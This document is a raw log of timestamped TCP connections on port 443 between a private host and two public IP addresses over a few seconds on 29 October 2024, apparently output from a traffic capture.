Oct 29, 2024 18:43:04.150521994 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.150535107 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.166652918 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.167104959 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.167117119 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.167531967 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.167538881 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.304423094 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.304478884 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.304549932 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.304908037 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.304908037 CET	49969	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.304929018 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.304939032 CET	443	49969	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.308279991 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.308319092 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.308399916 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.308573008 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.308587074 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.577744007 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:04.578422070 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:04.578452110 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:04.579369068 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:04.579379082 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:04.579412937 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:04.579420090 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:04.861381054 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.862092018 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.862113953 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.862809896 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.862821102 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.876445055 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.877029896 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.877058029 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.877623081 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.877634048 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.885761976 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.886166096 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.886178017 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.886650085 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.886655092 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.888221025 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.888525009 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.888540030 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.888967037 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.888971090 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.990647078 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.990716934 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.990989923 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.991029978 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.991029978 CET	49971	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.991054058 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.991065025 CET	443	49971	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.994473934 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.994508028 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:04.994582891 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.994782925 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:04.994796991 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.005182981 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.005405903 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.005511045 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.005542040 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.005558968 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.005570889 CET	49973	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.005577087 CET	443	49973	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.008187056 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.008275986 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.008369923 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.008514881 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.008550882 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.015830040 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.016206980 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.016259909 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.016315937 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.016330957 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.016340971 CET	49972	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.016345978 CET	443	49972	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.018758059 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.018770933 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.018827915 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.018979073 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.018987894 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.021147013 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.021291971 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.021369934 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.021420956 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.021425962 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.021457911 CET	49974	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.021462917 CET	443	49974	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.023520947 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.023561954 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.023667097 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.023797989 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.023824930 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.049309015 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.049788952 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.049819946 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.050400972 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.050409079 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.106761932 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.106777906 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.106818914 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.106852055 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.106868029 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.106892109 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.107345104 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.107359886 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.107367992 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.107467890 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.107495070 CET	443	49970	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.107944012 CET	49970	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.180592060 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.180659056 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.181143045 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.181606054 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.181623936 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.181639910 CET	49975	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.181646109 CET	443	49975	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.190210104 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.190237045 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.190601110 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.191220045 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:05.191234112 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:05.210433960 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.210455894 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:05.210517883 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.210777998 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:05.210792065 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.436115980 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.436657906 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.436718941 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.437252045 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.437267065 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.439032078 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.439443111 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.439454079 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.439924002 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.439928055 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.441241980 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.441817999 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.441848040 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.442339897 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.442351103 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.443083048 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.443456888 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.443465948 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.443860054 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.443865061 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.453438997 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.453923941 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.453938007 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.454642057 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.454646111 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.559067011 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.560952902 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.560966969 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.561940908 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.561944962 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.562014103 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.562021017 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.570611000 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.570763111 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.570839882 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.571043968 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.571098089 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.571126938 CET	49977	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.571141958 CET	443	49977	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.571990967 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.572118998 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.572151899 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.572211027 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.572464943 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.572474957 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.572485924 CET	49978	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.572491884 CET	443	49978	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.574059010 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.574083090 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.574151993 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.574275970 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.574281931 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.574886084 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.574985027 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.575968027 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.576123953 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.576160908 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.578684092 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.578778028 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.579967976 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.580022097 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.580022097 CET	49979	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.580040932 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.580061913 CET	443	49979	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.581276894 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.581300974 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.581332922 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.581382036 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.581407070 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.581538916 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.581538916 CET	49980	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.581547022 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.581556082 CET	443	49980	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.582181931 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.582206964 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.582274914 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.582423925 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.582449913 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.583648920 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.583657980 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.583741903 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.583908081 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.583919048 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.588697910 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.588764906 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.588835955 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.588848114 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.588876963 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.588927984 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.588982105 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.588988066 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.589000940 CET	49976	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.589004040 CET	443	49976	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.591248035 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.591275930 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.591376066 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.591519117 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:06.591543913 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:06.938401937 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.938429117 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.938559055 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.938574076 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.940188885 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.940201998 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.940237999 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.940371037 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.940407991 CET	443	49981	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.940479994 CET	49981	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.991483927 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.991564035 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:06.991657972 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.991962910 CET	49987	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:06.991997957 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:07.002768040 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:07.002794981 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:07.002881050 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:07.003132105 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:07.003144026 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:07.314682961 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.315640926 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.315670013 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.316236973 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.316243887 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.324462891 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.324898958 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.324908018 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.325449944 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.325453997 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.340573072 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.340980053 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.340998888 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.341509104 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.341520071 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.352416039 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.352818966 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.352829933 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.353368998 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.353374004 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.353794098 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.354115963 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.354134083 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.354584932 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.354589939 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.445738077 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.446094036 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.446194887 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.446289062 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.446289062 CET	49983	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.446331978 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.446357012 CET	443	49983	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.449737072 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.449765921 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.449841022 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.450033903 CET	49989	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.450050116 CET	443	49989	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.464853048 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.464916945 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.465162039 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.465162039 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.465188980 CET	49982	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.465202093 CET	443	49982	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.468369961 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.468414068 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.468517065 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.468687057 CET	49990	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.468717098 CET	443	49990	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.472168922 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.472251892 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.472395897 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.472446918 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.472448111 CET	49986	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.472469091 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.472507954 CET	443	49986	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.475013018 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.475029945 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.475102901 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.475271940 CET	49991	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.475284100 CET	443	49991	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.489592075 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.489619970 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.489686012 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.489758015 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.489826918 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.490021944 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.490025997 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.490035057 CET	49985	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.490039110 CET	443	49985	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.490864992 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.490931988 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.491013050 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.491189957 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.491211891 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.491235971 CET	49984	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.491251945 CET	443	49984	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.492912054 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.492945910 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.493100882 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.493225098 CET	49992	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.493240118 CET	443	49992	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.493449926 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.493474960 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:07.493556976 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.493663073 CET	49993	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:43:07.493676901 CET	443	49993	13.107.246.45	192.168.2.5
Oct 29, 2024 18:43:08.141283035 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.141904116 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.141920090 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.142724037 CET	443	49987	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.142862082 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.142865896 CET	443	49988	40.126.32.72	192.168.2.5
Oct 29, 2024 18:43:08.142920971 CET	49988	443	192.168.2.5	40.126.32.72
Oct 29, 2024 18:43:08.142926931 CET	443	49988	40.126.32.72	192.168.2.5
